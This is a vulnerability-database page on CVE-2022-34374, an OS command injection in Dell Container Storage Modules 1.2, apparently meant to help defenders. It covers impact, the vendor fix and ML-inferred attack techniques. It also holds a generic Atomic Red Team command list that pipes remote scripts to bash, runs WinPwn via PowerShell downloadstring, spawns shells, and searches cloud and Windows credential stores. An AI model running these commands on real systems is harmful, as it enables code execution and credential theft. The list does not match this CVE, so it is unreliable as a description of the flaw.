CVE-2022-34374
Overview
This vulnerability is an OS command injection stemming from improper input validation in the goiscsi and gobrick libraries within Dell Container Storage Modules version 1.2. The flaw arises due to unsafe handling of user-supplied input that is passed to system-level command execution functions without adequate sanitization. The affected components are the goiscsi and gobrick libraries responsible for storage module operations within the container environment.
Vulnerability Description
Dell Container Storage Modules 1.2 contains an OS command injection in goiscsi and gobrick libraries. A remote authenticated malicious user with low privileges could exploit this vulnerability leading to to execute arbitrary OS commands on the affected system.
Impact
An authenticated attacker with low privileges on the system can exploit this vulnerability to execute arbitrary OS commands with the privileges of the affected service. This enables unauthorized control over the underlying host system, potentially leading to data compromise, service disruption, or lateral movement within the network. The attack requires network access and authentication (CVSS vector AV:N/AC:L/PR:L/UI:N), emphasizing the need for credential access but no user interaction.
Solution
Dell has released a security update addressing this vulnerability in Dell Container Storage Modules version 1.2 as detailed in advisory DSA-2022-202 (https://www.dell.com/support/kbdoc/en-us/000201835/dsa-2022-202-dell-container-storage-modules-security-update-for-multiple-vulnerabilities). Users should apply the vendor-provided patches promptly to remediate the command injection flaw. No specific workarounds are documented; updating to the fixed version is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Dell Container Storage Modules 1.2 stems from an OS command injection flaw found within the goiscsi and gobrick libraries. This type of vulnerability occurs when an application improperly sanitizes user input, allowing an attacker to inject and execute arbitrary operating system commands. In this case, the affected libraries fail to adequately validate input, enabling a remote authenticated user with low privileges to manipulate command execution. By exploiting this flaw, an attacker can gain unauthorized control over the system, potentially leading to a complete compromise of the affected environment.
Exploitation of this vulnerability can occur through several attack vectors. A remote authenticated user could leverage the flaw by sending specially crafted input to the affected libraries, which would then be processed as legitimate commands by the operating system. This could be achieved through various means, such as API calls or command-line interfaces that interact with the goiscsi and gobrick libraries. Once the attacker successfully injects malicious commands, they could execute a range of harmful actions, including data exfiltration, system manipulation, or even deploying additional malware. The low privilege requirement for exploitation makes this vulnerability particularly concerning, as it lowers the barrier for potential attackers.
The real-world impact of this vulnerability is significant, especially for organizations relying on Dell Container Storage Modules for their storage solutions. The ability for an attacker to execute arbitrary commands can lead to severe business risks, including data breaches, loss of sensitive information, and disruption of critical services. Furthermore, the potential for lateral movement within the network increases the risk of a broader compromise, affecting not only the storage modules but also other interconnected systems. The financial implications of such incidents can be substantial, encompassing remediation costs, legal liabilities, and reputational damage.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, regular security assessments and vulnerability scans should be conducted to identify any instances of the affected software in use. Implementing robust logging and monitoring solutions can also help detect unusual activity that may indicate exploitation attempts. Additionally, organizations should ensure that they are running the latest version of the affected software, as vendors typically release patches to address known vulnerabilities. In cases where immediate patching is not feasible, employing network segmentation and access controls can help limit the potential impact of an exploit by restricting the attacker's ability to move laterally within the network.
In conclusion, the OS command injection vulnerability in Dell Container Storage Modules represents a serious threat to organizations utilizing this technology. The ease of exploitation, combined with the potential for significant impact, underscores the importance of proactive security measures. By prioritizing detection, timely patching, and implementing strong access controls, organizations can mitigate the risks associated with this vulnerability and enhance their overall security posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Container Storage Modules | All |
cpe:2.3:a:dell:container_storage_modules:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-34374 |
| dell.com |
GitHub CVE
x_refsource_MISC
|
https://www.dell.com/support/kbdoc/en-us/000201835/dsa-2022-202-dell-container-storage-modules-security-update-for-multiple-vulnerabilities |